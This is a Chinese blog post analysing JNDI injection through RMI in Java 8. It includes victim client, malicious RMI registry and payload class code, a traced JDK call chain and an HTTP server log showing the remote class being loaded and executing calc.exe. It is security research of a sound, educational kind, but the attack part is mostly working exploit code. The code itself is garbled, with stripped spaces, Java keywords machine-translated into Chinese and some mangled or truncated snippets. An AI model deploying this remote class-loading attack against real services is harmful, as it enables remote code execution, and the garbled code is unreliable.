当前位置: 首页 > 后端技术 > Java

JNDI注入分析-RMI注入

时间:2023-04-01 20:24:01 Java

JavaNamingandDirectoryInterface(JNDI)是一个JavaAPI,类似于一个索引中心,它允许客户端通过名称来发现和查找数据和对象。这些对象可以存储在lDAP、DNS或RMI中代码格式如下:InitialContextvar1=newInitialContext();DataSourcevar2=(DataSource)var1.lookup("rmi://127.0.0.1:1099/Exploit");JNDIInjectingJNDI注入是指当jndiname变量可控时,加载远程class文件,导致远程代码执行当前环境java8u121Client.java程序(victim)packageorg.joychou.jndiInjection;importjavax.naming。InitialContext;导入javax.naming。上下文;公共类客户端{publicstaticvoidmain(String[]args)throwsException{Stringuri="rmi://127.0.0.1:1099/aa";System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");上下文ctx=newInitialContext();ctx.lookup(uri);}}Server.java(服务器端)包org.joychou.jndiInjection;导入com.sun.jndi.rmi.registry.ReferenceWrapper;导入javax.naming.Reference;导入java.rmi.registry.LocateRegistry;导入java.rmi。registry.Registry;publicclassServer{publicstaticvoidmain(String[]args)抛出异常{Registryregistry=LocateRegistry.createRegistry(1099);Referenceaa=newReference("ExecTest","ExecTest","http://127.0.0.1:8081/");ReferenceWrapperrefObjWrapper=newReferenceWrapper(aa);System.out.println("将'refObjWrapper'绑定到'rmi://127.0.0.1:1099/aa'");registry.bind("aa",refObjWrapper);}}ExecTest.java(命令执行的类)//packageorg.joychou.jndiInjection;importjava.io.BufferedReader;importjava.io.IOException;importjava.io.InputStream;importjava.io.InputStreamReader;importjava.io.Reader;publicclassExecTest{publicExecTest()throwsIOException,InterruptedException{Stringcmd="calc.exe";finalProcess=Runtime.getRuntime().exec(cmd);printMessage(process.getInputStream());;printMessage(process.getErrorStream());intvalue=process.waitFor();System.out.println(值);}私人静态无效printMessaGE(最终InputStream输入){//todo自动生成方法stubnewthread(newRunnable(){@OverridepublicvoidRun(){//todoauto-generated方法stubreaderreader=newInputStreamReader(input)=newBuffereReader(reader);stringline=null;try{(((line=bf.readline())!=null){system.out.println(line);}}catch(ioexceptione){e.printstacktrace();}}})。开始();}}编写ExecTest.java,并启动http服务,然后启动Server.java,然后运行Client.java调用链接分析//InitialContext.javapublicObjectlookup(Stringname)throwsNamingException{).return(getURLOrtname);}getURLOrDefaultInitCtx函数,这种会根据输入的名称寻找合适的URL上下文,根据我们输入的变量中会返回rmiURLContext对象(继承自GenericURL上下文类)受保护的上下文getURLOrDefaultInitCtx(Stringname)抛出NamingException{if(NamingManager.hasInitialContextFactoryBuilder()){返回getDefaultInitCtx();}字符串方案=getURLScheme(name);if(scheme!=null){Contextctx=NamingManager.getURLContext(scheme,myProps);if(ctx!=null){返回ctx;javapublicObjectlookup(Stringvar1)throwsNamingException{ResolveResultvar2=this.getRootURLContext(var1,this.myEnv);//解析rmi地址Contextvar3=(Context)var2.getResolvedObj();//返回注册上下文RegistryContext对象变种4;尝试{var4=var3.lookup(var2.getRemainingName());//调用注册上下文的查找函数查找aa对象}finally{var3.close();}returnvar4;}RegistryContext.java中的lookup是在registry中函数查找aa对象对应的引用//RegistryContext.javapublicObjectlookup(Namevar1)throwsNamingException{if(var1.isEmpty()){返回新的RegistryContext(this);}else{远程var2;try{var2=remotelookupforthis.registry.lookup(var1.get(a))引用ReferenceWrapper}catch(NotBoundExceptionvar4){thrownewNameNotFoundException(var1.get(0));}catch(RemoteExceptionvar5){throw(NamingException)wrapRemoteException(var5).fillInStackTrace();}返回this.decodeObject(var2,var1.getPrefix(1));//}}decodeObject方法找到我们要生成的远程对象//RegistryContext.javaprivateObjectdecodeObject(Remotevar1,Namevar2)throwsNamingException{//var1:ReferenceWrapper,var2:aatry{//这里判断我们的是否var1是一个remoteReference,如果是,就进入getReference(),与服务器建立连接Objectvar3=var1instanceofRemoteReference?((RemoteReference)var1).getReference():var1;引用var8=null;if(var3instanceofReference){var8=(Reference)var3;}elseif(var3instanceofReferenceable){var8=((Referenceable)((Referenceable)var3)).getReference();}//java更新的安全机制,com.sun.jndi.rmi.object。trustURLCodebase设置为trueif(var8!=null&&var8.getFactoryClassLocation()!=null&&!trustURLCodebase){thrownewConfigurationException("Theobjectfactoryisuntrusted.Setthesystemdijectpropertyncom.runmi.jtrustURLCodebase'to'真的'。”);}else{returnNamingManager.getObjectInstance(var3,var2,this,this.environment);//该函数根据输入的对象和环境信息生成指定的对象}至此,远程请求获取到aa对应的ExecTest类,接下来就是实例化//NamingManager.javapublicstaticObjectgetObjectInstance(...){//获取对象工厂中引用标识的对象,使用引用的工厂类名和工厂代码库类加载到工厂...if(ref!=null){Stringf=ref.getFactoryClassName();if(f!=null){//如果引用标识一个工厂,则只使用factory=getObjectFactoryFromReference(ref,f);//命令执行点if(factory!=null){returnfactory.getObjectInstance(ref,name,nameCtx,环境);}getObjectFactoryFromReference函数通过引用将对图像进行实例化//NamingManager.javastaticObjectFactorygetObjectFactoryFromReference(Referenceref,StringfactoryName)throwsIllegalAccessException,InstantiationException,MalformedURLExceptions{Classenvironment)throwsIOException{Runtime.getRuntime().exec("notepad.exe");返回空值;}}其实我们只需要在上面两个函数中的任意一个写命令即可。将执行文中写的两个命令。他们为什么被处决两次?第一次执行//NamingManager.javareturn(clas!=null)?(ObjectFactory)clas.newInstance():null;当调用newInstance方法实例化ExecTest类时,默认会调用ExecTest类的无参构造方法,相当于newExectest(),所以会执行无参构造函数中的命令。第二次执行//NamingManager.javapublicstaticObjectgetObjectInstance(...){//获取对象工厂中引用标识的对象,并使用引用的工厂类名和工厂代码库加载到工厂的类中....if(ref!=null){Stringf=ref.getFactoryClassName();if(f!=null){//如果引用标识一个工厂,则只使用factory=getObjectFactoryFromfreference(ref,f);if(!=null){returnfactory.getObjectInstance(ref,name,nameCtx,getObjectInstance}getenvironment);第二个命令执行类加载序列。目前的项目结构是:其实在这个结构下,不需要编译ExecTest类,也不需要开启http服务。只需启用Server.java并运行Client.java即可执行命令。也就是说,我们实际上是在没有访问我们的远程类的情况下完成了攻击。作为对比测试,我们分别运行了Client.java和ExecTest.java,但是运行后并没有执行任何命令。我们刚才在Server.java服务器上编译了ExecTest.java文件,打开http服务D:\Workspace\java\JndiRmi\src\main\java>"c:\ProgramFiles\Java\jdk1.8.0_112\bin\javac.exe"ExecTest.javaD:\Workspace\java\JndiRmi\src\main\java>python-mSimpleHTTPServer8081ServingHTTPon0.0.0.0port8081...所以我们打开Server.java,然后打开另一个目录Client.java可以远程加载类查看http服务器可以看到我们的远程类已经被远程加载了D:\Workspace\java\JndiRmi\src\main\java>python-mSimpleHTTPServer8081ServingHTTPon0.0.0.0port8081...127.0.0.1--[19/Dec/202113:57:25]"GET/ExecTest.classHTTP/1.1"200-为什么不同的Client位置导致不同的类加载位置?单独运行Client.java和ExecTest.java对比:从调试可以看出,Client.java在实例化一个类的时候会先使用本地的类加载器加载,如果本地找不到的话才去寻找远程的.加载代码库(codebase),在左侧本地可以找到ExecTest类进行加载,但是在右侧本地找不到ExecTest类,会通过RMI远程加载,但是由于我们还没有开启了http服务,找不到ExecTest类,导致实例化失败,无法执行命令。因此,只要将ExecTest.java类和Client.java放在同一个目录下,就不会进行远程加载。